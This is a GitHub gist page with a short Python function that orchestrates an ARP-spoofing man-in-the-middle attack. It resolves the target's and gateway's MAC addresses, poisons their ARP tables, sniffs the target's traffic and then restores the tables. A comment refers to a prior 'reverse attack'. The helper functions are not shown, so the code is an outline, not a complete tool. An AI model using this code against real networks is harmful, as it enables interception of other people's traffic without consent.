Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created June 30, 2020 06:06
Show Gist options
  • Save NimishMishra/f4f175f80a1c40ee2ad25ef40a981b22 to your computer and use it in GitHub Desktop.
Save NimishMishra/f4f175f80a1c40ee2ad25ef40a981b22 to your computer and use it in GitHub Desktop.
def entry(target_ip, gateway_ip):
# assuming we have performed the reverse attack, we know the following
global response
response = ""
TARGET_IP = target_ip
GATEWAY_IP = gateway_ip
TARGET_MAC_ADDRESS = get_mac_address(TARGET_IP)
GATEWAY_MAC_ADDRESS = get_mac_address(GATEWAY_IP)
poison_arp_tables(GATEWAY_IP, GATEWAY_MAC_ADDRESS, TARGET_IP, TARGET_MAC_ADDRESS)
sniffer(TARGET_IP)
restore_arp_tables(GATEWAY_IP, GATEWAY_MAC_ADDRESS, TARGET_IP, TARGET_MAC_ADDRESS)
return response
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment